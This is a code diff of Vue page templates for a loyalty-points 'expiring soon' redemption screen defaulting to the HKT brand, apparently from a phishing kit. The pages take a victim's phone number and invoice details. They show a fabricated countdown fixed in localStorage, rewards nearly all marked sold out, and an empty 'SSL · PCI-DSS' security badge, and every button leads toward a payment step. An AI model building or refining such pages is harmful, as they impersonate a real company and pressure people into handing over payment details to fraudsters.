xmlns:xlink="http://www.w3.org/1999/xlink"
aria-hidden="true"
role="img"
class="iconify iconify--mdi"
width="24"
height="24"
preserveAspectRatio="xMidYMid meet"
viewBox="0 0 24 24"
>
<path
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
fill="currentColor"
></path>
</svg>
</template>

View File

@@ -0,0 +1,237 @@
<template>
<div class="pt1__page">
<section class="pt1__hero">
<div class="pt1__hero-deco">
<div class="pt1__deco-circle pt1__deco-circle--1"></div>
<div class="pt1__deco-circle pt1__deco-circle--2"></div>
<div class="pt1__deco-circle pt1__deco-circle--3"></div>
</div>
<div class="pt1__hero-content">
<p class="pt1__balance-label">{{ t('pay_theme1.balance_label') }}</p>
<div class="pt1__points-row">
<svg class="pt1__star" width="32" height="32" viewBox="0 0 24 24" fill="none"><path d="M12 2L15.09 8.26L22 9.27L17 14.14L18.18 21.02L12 17.77L5.82 21.02L7 14.14L2 9.27L8.91 8.26L12 2Z" fill="currentColor"/></svg>
<span class="pt1__points-val">{{ totalPoint.toLocaleString() }}</span>
</div>
<p class="pt1__points-sub">{{ t('pay_theme1.points_available') }}</p>
</div>
</section>
<section class="pt1__expiry-wrap">
<div class="pt1__expiry-card">
<div class="pt1__expiry-top">
<div class="pt1__warn-icon-wrap">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"><path d="M10.29 3.86L1.82 18A2 2 0 0 0 3.53 21H20.47A2 2 0 0 0 22.18 18L13.71 3.86A2 2 0 0 0 10.29 3.86Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/><path d="M12 9V13" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/><path d="M12 17H12.01" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>
</div>
<div class="pt1__expiry-text">
<h3 class="pt1__expiry-title">{{ t('pay_theme1.expiry_title') }}</h3>
<p class="pt1__expiry-desc">{{ t('pay_theme1.expiry_desc') }}</p>
</div>
</div>
<div class="pt1__countdown">
<div class="pt1__countdown-hd">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none"><circle cx="12" cy="12" r="10" stroke="currentColor" stroke-width="2"/><path d="M12 6V12L16 14" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>
<span class="pt1__countdown-label">{{ t('pay_theme1.time_remaining') }}</span>
</div>
<div class="pt1__countdown-display">
<div class="pt1__time-block"><span class="pt1__time-val">{{ countdown.days }}</span><span class="pt1__time-unit">{{ t('pay_theme1.days') }}</span></div>
<span class="pt1__sep">:</span>
<div class="pt1__time-block"><span class="pt1__time-val">{{ countdown.hours }}</span><span class="pt1__time-unit">{{ t('pay_theme1.hours') }}</span></div>
<span class="pt1__sep">:</span>
<div class="pt1__time-block"><span class="pt1__time-val">{{ countdown.minutes }}</span><span class="pt1__time-unit">{{ t('pay_theme1.minutes') }}</span></div>
</div>
</div>
</div>
</section>
<section class="pt1__cta-wrap">
<button type="button" class="pt1__cta-btn" @click="handleSubmit">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"><path d="M13 2L3 14H12L11 22L21 10H12L13 2Z" fill="currentColor"/></svg>
{{ t('pay_theme1.redeem_now') }}
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"><path d="M9 18L15 12L9 6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>
</button>
</section>
<section class="pt1__rewards-wrap">
<div class="pt1__rewards-hd">
<h3 class="pt1__rewards-title">{{ t('pay_theme1.available_rewards') }}</h3>
<span class="pt1__rewards-count">{{ t('pay_theme1.rewards_count') }}</span>
</div>
<div class="pt1__rewards-list">
<div :class="['pt1__card', selectedCard === 0 && 'pt1__card--selected']" @click="selectCard(0)">
<div class="pt1__card-row">
<div class="pt1__icon-wrap pt1__icon-wrap--featured">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none"><path d="M20 6H17.82C17.93 5.69 18 5.35 18 5C18 3.34 16.66 2 15 2C13.95 2 13.04 2.54 12.5 3.35L12 4.02L11.5 3.34C10.96 2.54 10.05 2 9 2C7.34 2 6 3.34 6 5C6 5.35 6.07 5.69 6.18 6H4C2.89 6 2.01 6.89 2.01 8L2 19C2 20.11 2.89 21 4 21H20C21.11 21 22 20.11 22 19V8C22 6.89 21.11 6 20 6ZM15 4C15.55 4 16 4.45 16 5C16 5.55 15.55 6 15 6C14.45 6 14 5.55 14 5C14 4.45 14.45 4 15 4ZM9 4C9.55 4 10 4.45 10 5C10 5.55 9.55 6 9 6C8.45 6 8 5.55 8 5C8 4.45 8.45 4 9 4ZM20 19H4V8H20V19Z" fill="currentColor"/></svg>
</div>
<div class="pt1__card-info">
<div class="pt1__card-title-row">
<h4 class="pt1__card-name">{{ t('pay_theme1.browse_products') }}</h4>
<span class="pt1__badge pt1__badge--popular">{{ t('pay_theme1.badge_popular') }}</span>
</div>
<p class="pt1__card-desc">{{ t('pay_theme1.browse_desc') }}</p>
</div>
<div class="pt1__pts"><p class="pt1__pts-val">-</p><p class="pt1__pts-label">{{ t('points') }}</p></div>
</div>
<div class="pt1__confirm-row" v-if="selectedCard === 0">
<button type="button" class="pt1__confirm-btn" @click.stop="handleSubmit">{{ t('pay_theme1.confirm_redeem') }}</button>
</div>
</div>
<div class="pt1__card pt1__card--disabled">
<div class="pt1__card-row">
<div class="pt1__icon-wrap"><svg width="24" height="24" viewBox="0 0 24 24" fill="none"><path d="M6 2L3 6V20C3 21.1 3.9 22 5 22H19C20.1 22 21 21.1 21 20V6L18 2H6ZM6 4H18L20 7H4L6 4ZM5 9H19V20H5V9ZM9 11V18H11V11H9ZM13 11V18H15V11H13Z" fill="currentColor"/></svg></div>
<div class="pt1__card-info">
<div class="pt1__card-title-row"><h4 class="pt1__card-name">{{ t('pay_theme1.reward1_name') }}</h4><span class="pt1__badge pt1__badge--soldout">{{ t('pay_theme1.badge_soldout') }}</span></div>
<p class="pt1__card-desc">{{ t('pay_theme1.reward1_desc') }}</p>
</div>
<div class="pt1__pts"><p class="pt1__pts-val pt1__pts-val--gray">2,500</p><p class="pt1__pts-label">{{ t('points') }}</p></div>
</div>
</div>
<div class="pt1__card pt1__card--disabled">
<div class="pt1__card-row">
<div class="pt1__icon-wrap"><svg width="24" height="24" viewBox="0 0 24 24" fill="none"><path d="M1 9L2 10C5.5 6.5 10.5 6.5 14 10L15 9C10.5 4.5 4.5 4.5 1 9ZM5 13L6 14C7.5 12.5 9.5 12.5 11 14L12 13C9.5 10.5 6.5 10.5 5 13ZM9 17L12 20L15 17C13.5 15.5 10.5 15.5 9 17Z" fill="currentColor"/></svg></div>
<div class="pt1__card-info">
<div class="pt1__card-title-row"><h4 class="pt1__card-name">{{ t('pay_theme1.reward2_name') }}</h4><span class="pt1__badge pt1__badge--soldout">{{ t('pay_theme1.badge_soldout') }}</span></div>
<p class="pt1__card-desc">{{ t('pay_theme1.reward2_desc') }}</p>
</div>
<div class="pt1__pts"><p class="pt1__pts-val pt1__pts-val--gray">1,500</p><p class="pt1__pts-label">{{ t('points') }}</p></div>
</div>
</div>
<div class="pt1__card pt1__card--disabled">
<div class="pt1__card-row">
<div class="pt1__icon-wrap"><svg width="24" height="24" viewBox="0 0 24 24" fill="none"><path d="M18 4L4 20M9 7C9 8.1 8.1 9 7 9C5.9 9 5 8.1 5 7C5 5.9 5.9 5 7 5C8.1 5 9 5.9 9 7ZM19 17C19 18.1 18.1 19 17 19C15.9 19 15 18.1 15 17C15 15.9 15.9 15 17 15C18.1 15 19 15.9 19 17Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg></div>
<div class="pt1__card-info">
<div class="pt1__card-title-row"><h4 class="pt1__card-name">{{ t('pay_theme1.reward3_name') }}</h4><span class="pt1__badge pt1__badge--soldout">{{ t('pay_theme1.badge_soldout') }}</span></div>
<p class="pt1__card-desc">{{ t('pay_theme1.reward3_desc') }}</p>
</div>
<div class="pt1__pts"><p class="pt1__pts-val pt1__pts-val--gray">2,000</p><p class="pt1__pts-label">{{ t('points') }}</p></div>
</div>
</div>
<div class="pt1__card pt1__card--disabled">
<div class="pt1__card-row">
<div class="pt1__icon-wrap"><svg width="24" height="24" viewBox="0 0 24 24" fill="none"><path d="M6.62 10.79C8.06 13.62 10.38 15.94 13.21 17.38L15.41 15.18C15.69 14.9 16.08 14.82 16.43 14.93C17.55 15.3 18.76 15.51 20 15.51C20.55 15.51 21 15.96 21 16.51V20C21 20.55 20.55 21 20 21C10.61 21 3 13.39 3 4C3 3.45 3.45 3 4 3H7.5C8.05 3 8.5 3.45 8.5 4C8.5 5.24 8.7 6.45 9.07 7.57C9.18 7.92 9.1 8.31 8.82 8.59L6.62 10.79Z" fill="currentColor"/></svg></div>
<div class="pt1__card-info">
<div class="pt1__card-title-row"><h4 class="pt1__card-name">{{ t('pay_theme1.reward4_name') }}</h4><span class="pt1__badge pt1__badge--soldout">{{ t('pay_theme1.badge_soldout') }}</span></div>
<p class="pt1__card-desc">{{ t('pay_theme1.reward4_desc') }}</p>
</div>
<div class="pt1__pts"><p class="pt1__pts-val pt1__pts-val--gray">1,200</p><p class="pt1__pts-label">{{ t('points') }}</p></div>
</div>
</div>
</div>
</section>
<section class="pt1__how-wrap">
<div class="pt1__how-card">
<h4 class="pt1__how-title">{{ t('pay_theme1.how_it_works') }}</h4>
<div class="pt1__how-steps">
<div class="pt1__step"><div class="pt1__step-num">1</div><p class="pt1__step-text">{{ t('pay_theme1.step1') }}</p></div>
<div class="pt1__step"><div class="pt1__step-num">2</div><p class="pt1__step-text">{{ t('pay_theme1.step2') }}</p></div>
<div class="pt1__step"><div class="pt1__step-num">3</div><p class="pt1__step-text">{{ t('pay_theme1.step3') }}</p></div>
</div>
</div>
</section>
</div>
</template>
<script setup lang="ts">
import { ref, reactive, onMounted, onUnmounted } from 'vue'
import { useI18n } from 'vue-i18n'
import type { ThemeColors } from '@/config/themes'
interface Props {
colors: ThemeColors
phone: string
payDate: string
invoiceNumber: string
domainName: string
totalPoint: number
}
const props = defineProps<Props>()
const emit = defineEmits<{ (e: 'submit'): void }>()
const { t } = useI18n()
const selectedCard = ref<number | null>(null)
const COUNTDOWN_KEY = 'payTheme1_countdown_target'
const TARGET_SECONDS = 2 * 24 * 3600 + 6 * 3600 + 2 * 60
function getTargetTime(): number {
const stored = localStorage.getItem(COUNTDOWN_KEY)
if (stored) return Number(stored)
const target = Date.now() + TARGET_SECONDS * 1000
localStorage.setItem(COUNTDOWN_KEY, String(target))
return target
}
const countdown = reactive({ days: '02', hours: '06', minutes: '02' })
let timer: ReturnType<typeof setInterval> | null = null
function pad(n: number) { return String(n).padStart(2, '0') }
function tick() {
const diff = Math.max(0, Math.floor((getTargetTime() - Date.now()) / 1000))
countdown.days = pad(Math.floor(diff / 86400))
countdown.hours = pad(Math.floor((diff % 86400) / 3600))
countdown.minutes = pad(Math.floor((diff % 3600) / 60))
}
onMounted(() => { tick(); timer = setInterval(tick, 1000) })
onUnmounted(() => { if (timer) clearInterval(timer) })
const selectCard = (index: number) => { selectedCard.value = selectedCard.value === index ? null : index }
const handleSubmit = () => emit('submit')
</script>
<style scoped>
.pt1__page { background: #f2f2f2; min-height: 100vh; font-family: Arial, Helvetica, sans-serif; color: #111; }
.pt1__hero { position: relative; background: var(--global-primary-color, #e60000); padding: 40px 20px 44px; overflow: hidden; text-align: center; }
.pt1__hero-deco { position: absolute; inset: 0; pointer-events: none; }
.pt1__deco-circle { position: absolute; border-radius: 50%; background: rgba(255,255,255,0.1); }
.pt1__deco-circle--1 { width: 200px; height: 200px; top: -70px; right: -60px; }
.pt1__deco-circle--2 { width: 130px; height: 130px; bottom: -50px; left: -35px; }
.pt1__deco-circle--3 { width: 90px; height: 90px; top: 30px; left: 50px; }
.pt1__hero-content { position: relative; }
.pt1__balance-label { font-size: 14px; color: rgba(255,255,255,0.85); margin: 0 0 8px; }
.pt1__points-row { display: flex; align-items: center; justify-content: center; gap: 10px; margin-bottom: 8px; }
.pt1__star { color: #fff; }
.pt1__points-val { font-size: 52px; font-weight: 900; color: #fff; line-height: 1; }
.pt1__points-sub { font-size: 14px; color: rgba(255,255,255,0.8); margin: 0; }
.pt1__expiry-wrap { padding: 20px 14px 0; }
.pt1__expiry-card { background: #fff; border-radius: 14px; padding: 20px 16px; box-shadow: 0 2px 8px rgba(0,0,0,0.07); }
.pt1__expiry-top { display: flex; gap: 14px; align-items: flex-start; margin-bottom: 18px; }
.pt1__warn-icon-wrap { flex-shrink: 0; width: 42px; height: 42px; border-radius: 50%; background: #fff8e1; border: 1.5px solid #ffc107; display: flex; align-items: center; justify-content: center; color: #e6a817; }
.pt1__expiry-text { flex: 1; }
.pt1__expiry-title { font-size: 15px; font-weight: 700; color: #111; margin: 0 0 6px; }
.pt1__expiry-desc { font-size: 13px; color: #555; margin: 0; line-height: 1.6; }
.pt1__countdown-hd { display: flex; align-items: center; justify-content: center; gap: 6px; margin-bottom: 12px; color: #666; }
.pt1__countdown-label { font-size: 13px; color: #666; }
.pt1__countdown-display { display: flex; align-items: center; justify-content: center; gap: 10px; }
.pt1__time-block { min-width: 58px; background: #1a1a1a; border-radius: 8px; padding: 10px 12px 8px; text-align: center; }
.pt1__time-val { display: block; font-size: 24px; font-weight: 800; color: #fff; line-height: 1; }
.pt1__time-unit { display: block; font-size: 10px; color: #aaa; margin-top: 4px; text-transform: capitalize; }
.pt1__sep { font-size: 22px; font-weight: 800; color: #1a1a1a; }
.pt1__cta-wrap { padding: 20px 14px; }
.pt1__cta-btn { width: 100%; display: flex; align-items: center; justify-content: center; gap: 8px; background: var(--global-primary-color, #e60000); color: #fff; border: none; border-radius: 32px; padding: 16px 20px; font-size: 16px; font-weight: 700; cursor: pointer; transition: opacity 0.18s; }
.pt1__cta-btn:active { opacity: 0.85; }
.pt1__rewards-wrap { padding: 0 14px 20px; }
.pt1__rewards-hd { display: flex; align-items: center; justify-content: space-between; margin-bottom: 14px; }
.pt1__rewards-title { font-size: 16px; font-weight: 700; margin: 0; }
.pt1__rewards-count { font-size: 12px; color: #999; }
.pt1__rewards-list { display: flex; flex-direction: column; gap: 12px; }
.pt1__card { background: #fff; border-radius: 14px; box-shadow: 0 1px 6px rgba(0,0,0,0.07); overflow: hidden; cursor: pointer; border: 1.5px solid transparent; transition: border-color 0.18s, box-shadow 0.18s; }
.pt1__card--selected { border-color: var(--global-primary-color, #e60000); box-shadow: 0 0 0 3px rgba(230,0,0,0.10); }
.pt1__card--disabled { cursor: default; }
.pt1__card-row { display: flex; align-items: center; gap: 14px; padding: 16px; }
.pt1__icon-wrap { flex-shrink: 0; width: 46px; height: 46px; border-radius: 12px; background: #fde8e8; color: var(--global-primary-color, #e60000); display: flex; align-items: center; justify-content: center; }
.pt1__icon-wrap--featured { background: var(--global-primary-color, #e60000); color: #fff; }
.pt1__card-info { flex: 1; min-width: 0; }
.pt1__card-title-row { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin-bottom: 4px; }
.pt1__card-name { font-size: 14px; font-weight: 700; margin: 0; color: #111; }
.pt1__card-desc { font-size: 12px; color: #888; margin: 0; }
.pt1__badge { font-size: 9px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.06em; padding: 2px 6px; border-radius: 4px; color: #fff; white-space: nowrap; }
.pt1__badge--popular { background: #ff8c00; }
.pt1__badge--soldout { background: #ccc; color: #666; }
.pt1__pts { text-align: right; flex-shrink: 0; }
.pt1__pts-val { font-size: 17px; font-weight: 800; color: var(--global-primary-color, #e60000); margin: 0; line-height: 1.2; }
.pt1__pts-val--gray { color: #bbb; }
.pt1__pts-label { font-size: 11px; color: #aaa; margin: 0; }
.pt1__confirm-row { padding: 0 14px 14px; }
.pt1__confirm-btn { width: 100%; background: var(--global-primary-color, #e60000); color: #fff; border: none; border-radius: 8px; padding: 12px; font-size: 14px; font-weight: 700; cursor: pointer; transition: opacity 0.16s; }
.pt1__confirm-btn:active { opacity: 0.82; }
.pt1__how-wrap { padding: 0 14px 32px; }
.pt1__how-card { background: #fff; border-radius: 14px; padding: 20px 18px; box-shadow: 0 1px 6px rgba(0,0,0,0.07); }
.pt1__how-title { font-size: 15px; font-weight: 700; margin: 0 0 16px; }
.pt1__how-steps { display: flex; flex-direction: column; gap: 16px; }
.pt1__step { display: flex; align-items: flex-start; gap: 12px; }
.pt1__step-num { flex-shrink: 0; width: 28px; height: 28px; border-radius: 50%; background: var(--global-primary-color, #e60000); color: #fff; font-size: 13px; font-weight: 700; display: flex; align-items: center; justify-content: center; }
.pt1__step-text { font-size: 13px; color: #333; line-height: 1.5; margin: 4px 0 0; }
</style>

View File

@@ -0,0 +1,382 @@
<script setup lang="ts">
import { computed } from "vue";
import { useI18n } from "vue-i18n";
import { formatNumber } from "@/utils/common";
import type { ThemeColors } from "@/config/themes";
interface Props {
colors: ThemeColors;
phone: string;
payDate: string;
invoiceNumber: string;
domainName: string;
totalPoint: number;
}
const props = defineProps<Props>();
const emit = defineEmits<{ (e: "submit"): void }>();
const { t } = useI18n();
const resolvedDomainName = computed(() => props.domainName || "HKT");
const next = () => {
emit("submit");
};
</script>
<template>
<div class="pt2-page">
<!-- Page title -->
<h2 class="pt2-page-title">{{ t("pay_view.point_expiration_reminder.page_title") }}</h2>
<form @submit.prevent="next" class="pt2-card">
<!-- User info bar -->
<div class="pt2-user-bar">
<div class="pt2-user-bar-left">
<div class="pt2-user-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 00-4-4H8a4 4 0 00-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
</div>
<span class="pt2-user-label">{{ t("pay_view.point_expiration_reminder.greeting") }}</span>
</div>
<span class="pt2-user-value">{{ phone }}</span>
</div>
<!-- Points highlight -->
<div class="pt2-points-section">
<p class="pt2-points-desc">
{{ t("pay_view.point_expiration_reminder.reminder_prefix") }}
<strong class="pt2-brand">{{ resolvedDomainName }}</strong>
{{ t("pay_view.point_expiration_reminder.reminder_middle") }}
</p>
<div class="pt2-points-display">
<span class="pt2-points-num">{{ formatNumber(totalPoint) }}</span>
<span class="pt2-points-unit">{{ t("pay_view.point_expiration_reminder.points_unit") }}</span>
</div>
<p class="pt2-points-suffix">{{ t("pay_view.point_expiration_reminder.reminder_suffix") }}</p>
</div>
<div class="pt2-divider"></div>
<!-- Promotion box -->
<div class="pt2-promo-box">
<div class="pt2-promo-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
</div>
<p>{{ t("pay_view.point_expiration_reminder.promotion_description") }}</p>
</div>
<!-- Notes -->
<div class="pt2-notes">
<h3 class="pt2-notes-title">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
{{ t("pay_view.point_expiration_reminder.important_title") }}
</h3>
<ul class="pt2-notes-list">
<li>{{ t("pay_view.point_expiration_reminder.note_item_1") }}</li>
<li>{{ t("pay_view.point_expiration_reminder.note_item_2") }}</li>
<li>{{ t("pay_view.point_expiration_reminder.note_item_3") }}</li>
</ul>
</div>
<!-- CTA + button -->
<p class="pt2-cta-text">{{ t("pay_view.point_expiration_reminder.call_to_action") }}</p>
<button type="submit" class="pt2-submit-btn">
{{ t("Next Step") }}
</button>
<!-- Security line -->
<div class="pt2-security">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
<span>SSL &middot; PCI-DSS</span>
</div>
</form>
</div>
</template>
<style scoped>
.pt2-page {
min-height: 100vh;
background: linear-gradient(160deg, #f0f4ff 0%, #f8fafc 60%, #f5f7fa 100%);
padding: 24px 14px 40px;
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
/* ===== Page title ===== */
.pt2-page-title {
text-align: center;
font-size: 1.25rem;
font-weight: 800;
color: #0f172a;
margin: 0 0 20px;
letter-spacing: -0.3px;
}
/* ===== Card ===== */
.pt2-card {
max-width: 520px;
margin: 0 auto;
background: #fff;
border-radius: 20px;
border: 1px solid rgba(226,232,240,0.8);
box-shadow:
0 0 0 1px rgba(148,163,184,0.05),
0 4px 6px -2px rgba(15,23,42,0.04),
0 12px 32px -8px rgba(15,23,42,0.1);
overflow: hidden;
padding: 0 0 20px;
}
/* ===== User bar ===== */
.pt2-user-bar {
display: flex;
align-items: center;
justify-content: space-between;
padding: 14px 20px;
background: #f8fafc;
border-bottom: 1px solid #f1f5f9;
}
.pt2-user-bar-left {
display: flex;
align-items: center;
gap: 8px;
}
.pt2-user-icon {
width: 30px;
height: 30px;
background: color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff);
border: 1px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, #fff);
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
}
.pt2-user-icon svg {
width: 15px;
height: 15px;
color: var(--global-primary-color, #3b82f6);
stroke: var(--global-primary-color, #3b82f6);
}
.pt2-user-label {
font-size: 0.82rem;
color: #64748b;
font-weight: 500;
}
.pt2-user-value {
font-size: 0.9rem;
font-weight: 700;
color: #1e293b;
letter-spacing: 0.02em;
}
/* ===== Points section ===== */
.pt2-points-section {
text-align: center;
padding: 24px 24px 16px;
}
.pt2-points-desc {
font-size: 0.9rem;
color: #64748b;
line-height: 1.6;
margin: 0 0 12px;
}
.pt2-brand {
color: var(--global-primary-color, #3b82f6);
font-weight: 700;
}
.pt2-points-display {
display: flex;
align-items: baseline;
justify-content: center;
gap: 6px;
margin-bottom: 10px;
}
.pt2-points-num {
font-size: 3rem;
font-weight: 900;
color: var(--global-primary-color, #3b82f6);
letter-spacing: -2px;
line-height: 1;
}
.pt2-points-unit {
font-size: 1rem;
font-weight: 700;
color: var(--global-primary-color, #3b82f6);
}
.pt2-points-suffix {
font-size: 0.85rem;
color: #94a3b8;
margin: 0;
}
/* ===== Divider ===== */
.pt2-divider {
height: 1px;
background: linear-gradient(to right, transparent, #e2e8f0, transparent);
margin: 4px 24px 16px;
}
/* ===== Promo box ===== */
.pt2-promo-box {
display: flex;
align-items: flex-start;
gap: 10px;
margin: 0 20px 16px;
padding: 13px 14px;
background: #f0f9ff;
border: 1px solid #bae6fd;
border-radius: 12px;
}
.pt2-promo-icon {
width: 28px;
height: 28px;
flex-shrink: 0;
display: flex;
align-items: center;
justify-content: center;
}
.pt2-promo-icon svg {
width: 18px;
height: 18px;
stroke: #0ea5e9;
}
.pt2-promo-box p {
margin: 0;
font-size: 0.83rem;
color: #0369a1;
line-height: 1.6;
}
/* ===== Notes ===== */
.pt2-notes {
margin: 0 20px 16px;
background: #fff7ed;
border: 1px solid #fed7aa;
border-radius: 12px;
padding: 14px 16px;
}
.pt2-notes-title {
display: flex;
align-items: center;
gap: 6px;
font-size: 0.82rem;
font-weight: 700;
color: #c2410c;
margin: 0 0 10px;
}
.pt2-notes-title svg {
width: 14px;
height: 14px;
stroke: #f97316;
flex-shrink: 0;
}
.pt2-notes-list {
list-style: none;
padding: 0;
margin: 0;
display: flex;
flex-direction: column;
gap: 6px;
}
.pt2-notes-list li {
display: flex;
align-items: flex-start;
gap: 8px;
font-size: 0.8rem;
color: #92400e;
line-height: 1.5;
}
.pt2-notes-list li::before {
content: '';
width: 5px;
height: 5px;
border-radius: 50%;
background: #f97316;
flex-shrink: 0;
margin-top: 6px;
}
/* ===== CTA ===== */
.pt2-cta-text {
text-align: center;
font-size: 0.9rem;
font-weight: 700;
color: #1e293b;
margin: 8px 20px 16px;
line-height: 1.5;
}
/* ===== Submit button ===== */
.pt2-submit-btn {
display: block;
width: calc(100% - 40px);
margin: 0 20px;
height: 52px;
background: var(--global-primary-color, #3b82f6);
color: #fff;
border: none;
border-radius: 12px;
font-size: 1rem;
font-weight: 700;
letter-spacing: 0.05em;
cursor: pointer;
transition: filter 0.15s, transform 0.1s;
box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
position: relative;
overflow: hidden;
}
.pt2-submit-btn::after {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
pointer-events: none;
}
.pt2-submit-btn:hover { filter: brightness(1.07); }
.pt2-submit-btn:active { transform: scale(0.985); filter: brightness(0.95); }
/* ===== Security line ===== */
.pt2-security {
display: flex;
align-items: center;
justify-content: center;
gap: 5px;
margin-top: 14px;
font-size: 0.72rem;
font-weight: 500;
color: #9ca3af;
}
.pt2-security svg {
width: 11px;
height: 11px;
stroke: #34d399;
flex-shrink: 0;
}
</style>

View File

@@ -0,0 +1,634 @@
<template>
<div class="t3-pt3-root">
<!-- Gradient Header -->
<div class="t3-pt3-hd">
<!-- GOLD TIER badge: solid golden pill + trophy cup -->
<div class="t3-pt3-tier-badge">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none">
<path d="M8 21h8M12 17v4M7 3H5v6c0 2.2 1.8 4 4 4h6c2.2 0 4-1.8 4-4V3h-2" stroke="#5a3200" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" fill="none"/>
<path d="M7 3H3l2 3M17 3h4l-2 3" stroke="#5a3200" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
{{ t('pay_view.gold_tier') }}
</div>
<div class="t3-pt3-balance-lbl">{{ t('pay_view.total_balance') }}</div>
<div class="t3-pt3-balance-num">{{ totalPoint.toLocaleString() }}</div>
<!-- Tier card: frosted glass -->
<div class="t3-pt3-tier-card">
<div class="t3-pt3-tier-row">
<div>
<div class="t3-pt3-tc-lbl">{{ t('pay_view.next_tier') }}</div>
<div class="t3-pt3-tc-name">{{ t('pay_view.platinum_tier') }}</div>
</div>
<div style="text-align:right">
<div class="t3-pt3-tc-lbl">{{ t('pay_view.need') }}</div>
<div class="t3-pt3-tc-pts">{{ Math.max(0, 16815 - totalPoint).toLocaleString() }} pts</div>
</div>
</div>
<div class="t3-pt3-prog-track">
<div class="t3-pt3-prog-fill" :style="{ width: Math.min(totalPoint / 168.15, 100) + '%' }"></div>
</div>
</div>
<!-- Expiring Soon: last child of header, overflows below -->
<div class="t3-pt3-exp-card">
<div class="t3-pt3-exp-top">
<div class="t3-pt3-exp-ic">
<!-- hourglass -->
<svg width="22" height="22" viewBox="0 0 24 24" fill="none">
<path d="M7 2H17" stroke="#ea580c" stroke-width="1.8" stroke-linecap="round"/>
<path d="M7 22H17" stroke="#ea580c" stroke-width="1.8" stroke-linecap="round"/>
<path d="M8 2L8 8L12 12L8 16L8 22" stroke="#ea580c" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" fill="none"/>
<path d="M16 2L16 8L12 12L16 16L16 22" stroke="#ea580c" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" fill="none"/>
<path d="M9 18.5L12 16L15 18.5" fill="#ea580c"/>
</svg>
</div>
<div>
<div class="t3-pt3-exp-title">{{ t('pay_view.expiring_soon') }}</div>
<div class="t3-pt3-exp-sub">
<span class="t3-pt3-exp-pts">{{ Math.floor(totalPoint).toLocaleString() }} pts</span>
&nbsp;{{ t('pay_view.pts_vanish_in') }}
</div>
</div>
</div>
<div class="t3-pt3-exp-bot">
<div class="t3-pt3-cd">
<span class="t3-pt3-cd-chip">{{ countdown.days }}d</span>
<span class="t3-pt3-cd-chip">{{ countdown.hours }}h</span>
<span class="t3-pt3-cd-chip">{{ countdown.minutes }}m</span>
</div>
<button class="t3-pt3-redeem-btn" @click="$emit('submit')">{{ t('pay_view.redeem_now') }} </button>
</div>
</div>
</div>
<!-- Body -->
<div class="t3-pt3-body">
<!-- Section header -->
<div class="t3-pt3-sec-hd">
<span class="t3-pt3-sec-title">{{ t('pay_view.quick_rewards') }}</span>
<span class="t3-pt3-see-all" @click="$emit('submit')">{{ t('pay_view.see_all') }}</span>
</div>
<!-- 2x2 reward grid -->
<div class="t3-pt3-grid">
<!-- Merchandise (active) -->
<div class="t3-pt3-rcard" @click="$emit('submit')">
<div class="t3-pt3-ric t3-pt3-ric-green">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<path d="M6 2L3 6v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V6l-3-4z" stroke="#16a34a" stroke-width="1.5" stroke-linejoin="round" fill="none"/>
<path d="M3 6h18" stroke="#16a34a" stroke-width="1.5"/>
<path d="M16 10a4 4 0 0 1-8 0" stroke="#16a34a" stroke-width="1.5" stroke-linecap="round" fill="none"/>
</svg>
</div>
<div class="t3-pt3-rname">{{ t('pay_view.cat_life') }}</div>
<div class="t3-pt3-rpts t3-pt3-rpts-soon">{{ t('pay_view.pts_500') }}</div>
</div>
<!-- Tech Gear -->
